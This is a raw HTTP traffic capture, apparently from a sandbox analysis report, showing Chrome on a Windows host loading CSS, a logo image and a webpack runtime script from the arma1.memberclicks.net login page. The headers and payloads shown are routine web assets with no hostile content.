2024-04-23 14:54:01 UTC	779	OUT	GET /includes/css/themes/base/ui.progressbar.css HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://arma1.memberclicks.net/includes/css/themes/base/ui.base.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:02 UTC	526	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:02 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Thu, 09 Nov 2023 11:29:58 GMT etag: W/"a9-609b6860d9980-gzip" vary: Accept-Encoding x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:54:02 GMT Cache-Control: public, max-age=3600 Server: cloudflare CF-RAY: 878eafbfaaefb076-ATL
2024-04-23 14:54:02 UTC	175	IN	Data Raw: 61 39 0d 0a 2f 2a 20 50 72 6f 67 72 65 73 73 62 61 72 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2a 2f 0a 2e 75 69 2d 70 72 6f 67 72 65 73 73 62 61 72 20 7b 20 68 65 69 67 68 74 3a 32 65 6d 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 20 7d 0a 2e 75 69 2d 70 72 6f 67 72 65 73 73 62 61 72 20 2e 75 69 2d 70 72 6f 67 72 65 73 73 62 61 72 2d 76 61 6c 75 65 20 7b 6d 61 72 67 69 6e 3a 20 2d 31 70 78 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 7d 0d 0a Data Ascii: a9/* Progressbar----------------------------------*/.ui-progressbar { height:2em; text-align: left; }.ui-progressbar .ui-progressbar-value {margin: -1px; height:100%; }
2024-04-23 14:54:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.6	49925	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:02 UTC	771	OUT	GET /assets/site/logo.png HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:02 UTC	651	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:02 GMT Content-Type: image/webp Content-Length: 3322 Connection: close Cf-Bgj: imgq:100,h2pri Cf-Polished: origFmt=png, origSize=9338 Content-Disposition: inline; filename="logo.webp" Vary: Accept etag: "247a-5a29ea4b3da40" last-modified: Mon, 06 Apr 2020 12:45:35 GMT referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload x-frame-options: sameorigin CF-Cache-Status: REVALIDATED Expires: Tue, 23 Apr 2024 14:54:32 GMT Cache-Control: public, max-age=30 Accept-Ranges: bytes Server: cloudflare CF-RAY: 878eafbfbe5007ce-ATL
2024-04-23 14:54:02 UTC	718	IN	Data Raw: 52 49 46 46 f2 0c 00 00 57 45 42 50 56 50 38 4c e6 0c 00 00 2f 2c 01 1e 00 c7 e1 20 92 24 45 aa 3a 66 66 90 77 3e 5f d9 af 0d 56 91 24 3b 99 79 e4 9c fe 70 80 0b 9c e2 07 15 49 c8 39 88 24 49 91 aa 8e 99 f9 ce dc 0b 7d 65 b4 f3 1f 21 c2 00 88 20 af 72 aa 61 1e 44 29 52 77 b5 28 45 9a be a1 ea a7 1e 48 31 6f 33 95 e7 c7 bb 3e 40 ff 3b 11 22 38 f6 03 4a b0 ac 3b 84 a8 a8 4a aa 24 8b 21 54 55 5b 11 20 40 dd 52 43 80 86 b1 07 12 20 40 82 7e ee 81 14 10 fc 9e b7 00 be eb 25 02 d1 5f 1a 8e 52 04 10 1c 05 69 1b 30 ad 7f dd 3b 12 22 62 02 38 9b 93 b4 1d 80 ad 5b 37 fa 82 c2 f5 69 bb 8d 10 f8 20 40 01 c6 5d 18 4f d9 71 ff ff d3 6c de 9c d8 91 9e b6 88 fe 43 94 64 35 6c 03 15 4f 12 d8 51 f3 14 09 a5 ee 0f d8 96 b6 2d 70 1b e9 df fe f9 43 10 31 3a 40 1a 54 a4 d3 f1 Data Ascii: RIFFWEBPVP8L/, $E:ffw>_V$;ypI9$I}e! raD)Rw(EH1o3>@;"8J;J$!TU[ @RC @~%_Ri0;"b8[7i @]OqlCd5lOQ-pC1:@T
2024-04-23 14:54:02 UTC	1369	IN	Data Raw: 87 7b 22 05 3a d3 7c b8 db bb f4 16 f7 86 b3 99 22 4e 0d b6 d3 34 56 62 77 ce 50 b8 70 fa 47 2f 7b cf 6c bf ff fd ac 59 ce 79 69 06 a9 f9 82 d9 cc 3c 09 9d 37 5d e6 65 d7 5a 89 98 f9 78 b4 47 4c 36 a7 77 20 b1 3b f5 e4 86 5c 2e b5 39 f3 da 5a 5b 77 2b e2 b4 4e ab 45 1e 08 f2 aa 24 4f b7 b1 78 8a bb 15 fa 9c 72 9a 3d 67 0b fd f5 97 6b 65 33 8b 64 46 14 ab a3 49 15 0c ae 6b 88 bd 2f d3 c7 f4 31 7f fc 22 54 a7 fb 8a 3a 4a 17 52 6b 39 b8 ca e6 3c b5 35 ac 41 f6 e4 27 c0 22 ce a6 ef cb 66 37 f2 7e d1 ab 08 31 5f 27 14 41 3d 62 75 01 78 95 1a dc 39 f4 b5 16 5b 47 e6 5d e5 5a 2c c9 3b 6b e8 15 5c eb 81 9f 53 b0 e7 d1 d6 0c ee 7e 4e 16 79 0b ec dc dd ce 41 de bd 56 14 f9 1f 5f 10 4e 49 9e 31 84 5d 1f 9f ed b1 ae 9f 8f cf 87 1e ce 4f c5 de ce dd 6f f3 ce dd 72 13 Data Ascii: {":\|"N4VbwPpG/{lYyi<7]eZxGL6w ;\.9Z[w+NE$Oxr=gke3dFIk/1"T:JRk9<5A'"f7~1_'A=bux9[G]Z,;k\S~NyAV_NI1]Oor
2024-04-23 14:54:02 UTC	1235	IN	Data Raw: 7f 70 ca 64 a1 c8 1d c0 e1 90 5a a1 96 7a 02 1a 75 86 cb 56 d0 db 40 30 a2 4b 7f 99 44 54 a0 67 37 5a 02 df a0 55 1a ff 36 4b 4e 39 49 73 8a b5 2e 38 cd 2c 78 4a df 43 a0 0a dc c8 32 fb 94 72 3e 76 33 58 36 ce 3a 77 7e 57 06 85 ad 2a bd c1 24 ed 60 18 a7 31 ba fd 05 07 f5 7c a4 fe 32 d0 bd ef 1d bf b7 07 b8 70 d4 4f af 34 fb b2 f4 51 c6 e1 56 34 b3 1f 3c a9 0c c6 0f 18 6f ec 48 9c 70 85 31 a7 7e 91 31 6d b2 6f 83 9e a0 49 d6 81 0c b8 e0 17 7a e2 04 a3 c7 e0 a1 7a b8 8e 38 f1 38 0b 4d 5f 89 e8 84 94 80 3c 60 7e 7a e3 48 89 dd be 32 86 73 d6 21 47 72 ce 26 6f b5 88 71 89 88 bc 75 7d 25 4a d6 39 18 a2 ad cb d1 59 4f 20 ef 9c bb 38 eb 20 fd a4 c5 5a 5f 07 f2 d6 06 b8 93 f3 0d fc 60 da eb 44 82 74 f5 56 58 5b 58 a1 6e e0 fb 1b e8 ee 5a bb b8 5a e7 11 cd 59 c0 Data Ascii: pdZzuV@0KDTg7ZU6KN9Is.8,xJC2r>v3X6:w~W*$`1\|2pO4QV4<oHp1~1moIzz88M_<`~zH2s!Gr&oqu}%J9YO 8 Z_`DtVX[XnZZY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
176	192.168.2.6	49926	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:02 UTC	732	OUT	GET /ui-login/v1/dist/styles.css HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:02 UTC	768	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:02 GMT Content-Type: text/css; charset=UTF-8 Content-Length: 125906 Connection: close x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff x-download-options: noopen access-control-allow-origin: * access-control-allow-methods: GET, POST, DELETE, PUT, OPTIONS access-control-allow-headers: Origin, Accept, Content-Type, X-Requested-With, X-CSRF-Token Cache-Control: public, max-age=3600 last-modified: Wed, 06 Dec 2023 13:58:57 GMT etag: W/"1ebd2-18c3f6cb0e8" CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:54:02 GMT Accept-Ranges: bytes Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 878eafbfef367bbe-ATL
2024-04-23 14:54:02 UTC	601	IN	Data Raw: 2e 6d 61 74 2d 64 69 73 70 6c 61 79 2d 34 2c 2e 6d 61 74 2d 74 79 70 6f 67 72 61 70 68 79 20 2e 6d 61 74 2d 64 69 73 70 6c 61 79 2d 34 7b 66 6f 6e 74 3a 33 30 30 20 31 31 32 70 78 2f 31 31 32 70 78 20 52 6f 62 6f 74 6f 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 73 61 6e 73 2d 73 65 72 69 66 3b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 2d 2e 30 35 65 6d 7d 2e 6d 61 74 2d 64 69 73 70 6c 61 79 2d 33 2c 2e 6d 61 74 2d 74 79 70 6f 67 72 61 70 68 79 20 2e 6d 61 74 2d 64 69 73 70 6c 61 79 2d 33 7b 66 6f 6e 74 3a 34 30 30 20 35 36 70 78 2f 35 36 70 78 20 52 6f 62 6f 74 6f 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 73 61 6e 73 2d 73 65 72 69 66 3b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 2d 2e 30 32 65 6d 7d 2e 6d 61 74 2d 64 69 73 70 Data Ascii: .mat-display-4,.mat-typography .mat-display-4{font:300 112px/112px Roboto,"Helvetica Neue",sans-serif;letter-spacing:-.05em}.mat-display-3,.mat-typography .mat-display-3{font:400 56px/56px Roboto,"Helvetica Neue",sans-serif;letter-spacing:-.02em}.mat-disp
2024-04-23 14:54:02 UTC	1369	IN	Data Raw: 6d 65 6e 74 2c 2e 6d 61 74 2d 63 68 65 63 6b 62 6f 78 3a 61 63 74 69 76 65 3a 6e 6f 74 28 2e 6d 61 74 2d 63 68 65 63 6b 62 6f 78 2d 64 69 73 61 62 6c 65 64 29 2e 6d 61 74 2d 70 72 69 6d 61 72 79 20 2e 6d 61 74 2d 72 69 70 70 6c 65 2d 65 6c 65 6d 65 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 33 66 35 31 62 35 7d 2e 6d 61 74 2d 63 68 65 63 6b 62 6f 78 2d 63 68 65 63 6b 65 64 3a 6e 6f 74 28 2e 6d 61 74 2d 63 68 65 63 6b 62 6f 78 2d 64 69 73 61 62 6c 65 64 29 2e 6d 61 74 2d 61 63 63 65 6e 74 20 2e 6d 61 74 2d 72 69 70 70 6c 65 2d 65 6c 65 6d 65 6e 74 2c 2e 6d 61 74 2d 63 68 65 63 6b 62 6f 78 3a 61 63 74 69 76 65 3a 6e 6f 74 28 2e 6d 61 74 2d 63 68 65 63 6b 62 6f 78 2d 64 69 73 61 62 6c 65 64 29 2e 6d 61 74 2d 61 63 63 65 6e 74 20 2e 6d 61 74 2d 72 69 70 70 Data Ascii: ment,.mat-checkbox:active:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element{background:#3f51b5}.mat-checkbox-checked:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element,.mat-checkbox:active:not(.mat-checkbox-disabled).mat-accent .mat-ripp
2024-04-23 14:54:02 UTC	1369	IN	Data Raw: 64 67 65 2d 63 6f 6e 74 65 6e 74 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 7d 2e 6d 61 74 2d 68 31 2c 2e 6d 61 74 2d 68 65 61 64 6c 69 6e 65 2c 2e 6d 61 74 2d 74 79 70 6f 67 72 61 70 68 79 20 68 31 7b 66 6f 6e 74 3a 34 30 30 20 32 34 70 78 2f 33 32 70 78 20 52 6f 62 6f 74 6f 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 73 61 6e 73 2d 73 65 72 69 66 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 36 70 78 7d 2e 6d 61 74 2d 68 32 2c 2e 6d 61 74 2d 74 69 74 6c 65 2c 2e 6d 61 74 2d 74 79 70 6f 67 72 61 70 68 79 20 68 32 7b 66 6f 6e 74 3a 35 30 30 20 32 30 70 78 2f 33 32 70 78 20 52 6f 62 6f 74 6f 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 73 61 6e 73 2d 73 65 72 69 66 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 36 70 78 7d 2e 6d 61 74 2d 68 33 2c 2e Data Ascii: dge-content{font-size:24px}.mat-h1,.mat-headline,.mat-typography h1{font:400 24px/32px Roboto,"Helvetica Neue",sans-serif;margin:0 0 16px}.mat-h2,.mat-title,.mat-typography h2{font:500 20px/32px Roboto,"Helvetica Neue",sans-serif;margin:0 0 16px}.mat-h3,.
2024-04-23 14:54:02 UTC	1369	IN	Data Raw: 67 69 6e 3a 30 20 30 20 36 34 70 78 3b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 2d 2e 30 30 35 65 6d 7d 2e 6d 61 74 2d 64 69 73 70 6c 61 79 2d 31 2c 2e 6d 61 74 2d 74 79 70 6f 67 72 61 70 68 79 20 2e 6d 61 74 2d 64 69 73 70 6c 61 79 2d 31 7b 66 6f 6e 74 3a 34 30 30 20 33 34 70 78 2f 34 30 70 78 20 52 6f 62 6f 74 6f 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 73 61 6e 73 2d 73 65 72 69 66 3b 6d 61 72 67 69 6e 3a 30 20 30 20 36 34 70 78 7d 2e 6d 61 74 2d 62 6f 74 74 6f 6d 2d 73 68 65 65 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 66 6f 6e 74 3a 34 30 30 20 31 34 70 78 2f 32 30 70 78 20 52 6f 62 6f 74 6f 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 73 61 6e 73 2d 73 65 72 69 66 7d 2e 6d 61 74 2d 62 75 74 74 6f 6e 2c 2e 6d 61 74 2d 66 61 62 2c Data Ascii: gin:0 0 64px;letter-spacing:-.005em}.mat-display-1,.mat-typography .mat-display-1{font:400 34px/40px Roboto,"Helvetica Neue",sans-serif;margin:0 0 64px}.mat-bottom-sheet-container{font:400 14px/20px Roboto,"Helvetica Neue",sans-serif}.mat-button,.mat-fab,
2024-04-23 14:54:02 UTC	1369	IN	Data Raw: 6f 6e 2d 70 61 6e 65 6c 2d 68 65 61 64 65 72 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 52 6f 62 6f 74 6f 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 6d 61 74 2d 65 78 70 61 6e 73 69 6f 6e 2d 70 61 6e 65 6c 2d 63 6f 6e 74 65 6e 74 7b 66 6f 6e 74 3a 34 30 30 20 31 34 70 78 2f 32 30 70 78 20 52 6f 62 6f 74 6f 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 73 61 6e 73 2d 73 65 72 69 66 7d 2e 6d 61 74 2d 66 6f 72 6d 2d 66 69 65 6c 64 7b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 31 32 35 3b 66 6f 6e 74 2d 66 61 6d 69 6c Data Ascii: on-panel-header{font-family:Roboto,"Helvetica Neue",sans-serif;font-size:15px;font-weight:400}.mat-expansion-panel-content{font:400 14px/20px Roboto,"Helvetica Neue",sans-serif}.mat-form-field{font-size:inherit;font-weight:400;line-height:1.125;font-famil
2024-04-23 14:54:02 UTC	1369	IN	Data Raw: 33 33 2e 33 33 33 33 34 33 33 33 33 33 25 7d 2e 6d 61 74 2d 66 6f 72 6d 2d 66 69 65 6c 64 2d 6c 61 62 65 6c 2d 77 72 61 70 70 65 72 7b 74 6f 70 3a 2d 2e 38 34 33 37 35 65 6d 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 2e 38 34 33 37 35 65 6d 7d 2e 6d 61 74 2d 66 6f 72 6d 2d 66 69 65 6c 64 2d 6c 61 62 65 6c 7b 74 6f 70 3a 31 2e 33 34 33 37 35 65 6d 7d 2e 6d 61 74 2d 66 6f 72 6d 2d 66 69 65 6c 64 2d 75 6e 64 65 72 6c 69 6e 65 7b 62 6f 74 74 6f 6d 3a 31 2e 33 34 33 37 35 65 6d 7d 2e 6d 61 74 2d 66 6f 72 6d 2d 66 69 65 6c 64 2d 73 75 62 73 63 72 69 70 74 2d 77 72 61 70 70 65 72 7b 66 6f 6e 74 2d 73 69 7a 65 3a 37 35 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2e 36 36 36 36 36 36 36 36 36 37 65 6d 3b 74 6f 70 3a 63 61 6c 63 28 31 30 30 25 20 2d 20 31 2e 37 39 31 36 36 Data Ascii: 33.3333433333%}.mat-form-field-label-wrapper{top:-.84375em;padding-top:.84375em}.mat-form-field-label{top:1.34375em}.mat-form-field-underline{bottom:1.34375em}.mat-form-field-subscript-wrapper{font-size:75%;margin-top:.6666666667em;top:calc(100% - 1.79166
2024-04-23 14:54:02 UTC	1369	IN	Data Raw: 20 2e 6d 61 74 2d 69 6e 70 75 74 2d 73 65 72 76 65 72 5b 6c 61 62 65 6c 5d 3a 6e 6f 74 28 3a 6c 61 62 65 6c 2d 73 68 6f 77 6e 29 2b 2e 6d 61 74 2d 66 6f 72 6d 2d 66 69 65 6c 64 2d 6c 61 62 65 6c 2d 77 72 61 70 70 65 72 20 2e 6d 61 74 2d 66 6f 72 6d 2d 66 69 65 6c 64 2d 6c 61 62 65 6c 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d 31 2e 32 38 31 32 35 65 6d 29 20 73 63 61 6c 65 28 2e 37 35 29 20 70 65 72 73 70 65 63 74 69 76 65 28 31 30 30 70 78 29 20 74 72 61 6e 73 6c 61 74 65 5a 28 2e 30 30 31 30 32 70 78 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d 31 2e 32 38 31 32 35 65 6d 29 20 73 63 61 6c 65 28 2e 37 35 29 20 70 65 72 73 70 65 63 74 69 76 65 28 31 30 30 70 78 29 20 74 72 61 6e Data Ascii: .mat-input-server[label]:not(:label-shown)+.mat-form-field-label-wrapper .mat-form-field-label{-webkit-transform:translateY(-1.28125em) scale(.75) perspective(100px) translateZ(.00102px);transform:translateY(-1.28125em) scale(.75) perspective(100px) tran
2024-04-23 14:54:02 UTC	1369	IN	Data Raw: 61 6e 73 6c 61 74 65 59 28 2d 31 2e 32 38 31 32 65 6d 29 20 73 63 61 6c 65 28 2e 37 35 29 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d 31 2e 32 38 31 32 65 6d 29 20 73 63 61 6c 65 28 2e 37 35 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d 31 2e 32 38 31 32 65 6d 29 20 73 63 61 6c 65 28 2e 37 35 29 7d 7d 2e 6d 61 74 2d 66 6f 72 6d 2d 66 69 65 6c 64 2d 61 70 70 65 61 72 61 6e 63 65 2d 66 69 6c 6c 20 2e 6d 61 74 2d 66 6f 72 6d 2d 66 69 65 6c 64 2d 69 6e 66 69 78 7b 70 61 64 64 69 6e 67 3a 2e 32 35 65 6d 20 30 20 2e 37 35 65 6d 7d 2e 6d 61 74 2d 66 6f 72 6d 2d 66 69 65 6c 64 2d 61 70 70 65 61 72 61 6e 63 65 2d 66 69 6c 6c 20 2e 6d 61 74 2d 66 6f 72 6d 2d 66 69 65 6c 64 2d 6c 61 62 65 6c 7b 74 6f 70 Data Ascii: anslateY(-1.2812em) scale(.75);-ms-transform:translateY(-1.2812em) scale(.75);transform:translateY(-1.2812em) scale(.75)}}.mat-form-field-appearance-fill .mat-form-field-infix{padding:.25em 0 .75em}.mat-form-field-appearance-fill .mat-form-field-label{top
2024-04-23 14:54:02 UTC	1369	IN	Data Raw: 6c 64 2d 73 68 6f 75 6c 64 2d 66 6c 6f 61 74 20 2e 6d 61 74 2d 66 6f 72 6d 2d 66 69 65 6c 64 2d 6c 61 62 65 6c 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d 31 2e 35 39 33 37 35 65 6d 29 20 73 63 61 6c 65 28 2e 37 35 29 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d 31 2e 35 39 33 37 35 65 6d 29 20 73 63 61 6c 65 28 2e 37 35 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d 31 2e 35 39 33 37 35 65 6d 29 20 73 63 61 6c 65 28 2e 37 35 29 3b 77 69 64 74 68 3a 31 33 33 2e 33 33 33 33 33 33 33 33 33 33 25 7d 2e 6d 61 74 2d 66 6f 72 6d 2d 66 69 65 6c 64 2d 61 70 70 65 61 72 61 6e 63 65 2d 6f 75 74 6c 69 6e 65 2e 6d 61 74 2d 66 6f 72 6d 2d 66 69 65 6c 64 2d 63 Data Ascii: ld-should-float .mat-form-field-label{-webkit-transform:translateY(-1.59375em) scale(.75);-ms-transform:translateY(-1.59375em) scale(.75);transform:translateY(-1.59375em) scale(.75);width:133.3333333333%}.mat-form-field-appearance-outline.mat-form-field-c
2024-04-23 14:54:02 UTC	1369	IN	Data Raw: 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 7d 2e 6d 61 74 2d 73 74 65 70 70 65 72 2d 68 6f 72 69 7a 6f 6e 74 61 6c 2c 2e 6d 61 74 2d 73 74 65 70 70 65 72 2d 76 65 72 74 69 63 61 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 52 6f 62 6f 74 6f 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 73 61 6e 73 2d 73 65 72 69 66 7d 2e 6d 61 74 2d 73 74 65 70 2d 6c 61 62 65 6c 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 6d 61 74 2d 73 74 65 70 2d 73 75 62 2d 6c 61 62 65 6c 2d 65 72 72 6f 72 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 6d 61 74 2d 73 74 65 70 2d 6c 61 62 65 6c 2d 65 72 72 6f 72 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 2e 6d 61 Data Ascii: f;font-size:12px;font-weight:500}.mat-stepper-horizontal,.mat-stepper-vertical{font-family:Roboto,"Helvetica Neue",sans-serif}.mat-step-label{font-size:14px;font-weight:400}.mat-step-sub-label-error{font-weight:400}.mat-step-label-error{font-size:14px}.ma

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
177	192.168.2.6	49932	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:03 UTC	718	OUT	GET /ui-login/v1/dist/runtime.js HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:03 UTC	778	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:03 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 2180 Connection: close x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff x-download-options: noopen access-control-allow-origin: * access-control-allow-methods: GET, POST, DELETE, PUT, OPTIONS access-control-allow-headers: Origin, Accept, Content-Type, X-Requested-With, X-CSRF-Token Cache-Control: public, max-age=3600 last-modified: Wed, 06 Dec 2023 13:58:57 GMT etag: W/"884-18c3f6cb0e8" CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:54:03 GMT Accept-Ranges: bytes Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 878eafc9eb0d137b-ATL
2024-04-23 14:54:03 UTC	591	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 72 29 7b 66 6f 72 28 76 61 72 20 6e 2c 69 2c 61 3d 72 5b 30 5d 2c 63 3d 72 5b 31 5d 2c 6c 3d 72 5b 32 5d 2c 70 3d 30 2c 73 3d 5b 5d 3b 70 3c 61 2e 6c 65 6e 67 74 68 3b 70 2b 2b 29 6f 5b 69 3d 61 5b 70 5d 5d 26 26 73 2e 70 75 73 68 28 6f 5b 69 5d 5b 30 5d 29 2c 6f 5b 69 5d 3d 30 3b 66 6f 72 28 6e 20 69 6e 20 63 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 63 2c 6e 29 26 26 28 65 5b 6e 5d 3d 63 5b 6e 5d 29 3b 66 6f 72 28 66 26 26 66 28 72 29 3b 73 2e 6c 65 6e 67 74 68 3b 29 73 2e 73 68 69 66 74 28 29 28 29 3b 72 65 74 75 72 6e 20 75 2e 70 75 73 68 2e 61 70 70 6c 79 28 75 2c 6c 7c 7c 5b 5d 29 2c 74 28 29 7d 66 75 6e 63 Data Ascii: !function(e){function r(r){for(var n,i,a=r[0],c=r[1],l=r[2],p=0,s=[];p<a.length;p++)o[i=a[p]]&&s.push(o[i][0]),o[i]=0;for(n in c)Object.prototype.hasOwnProperty.call(c,n)&&(e[n]=c[n]);for(f&&f(r);s.length;)s.shift()();return u.push.apply(u,l\|\|[]),t()}func
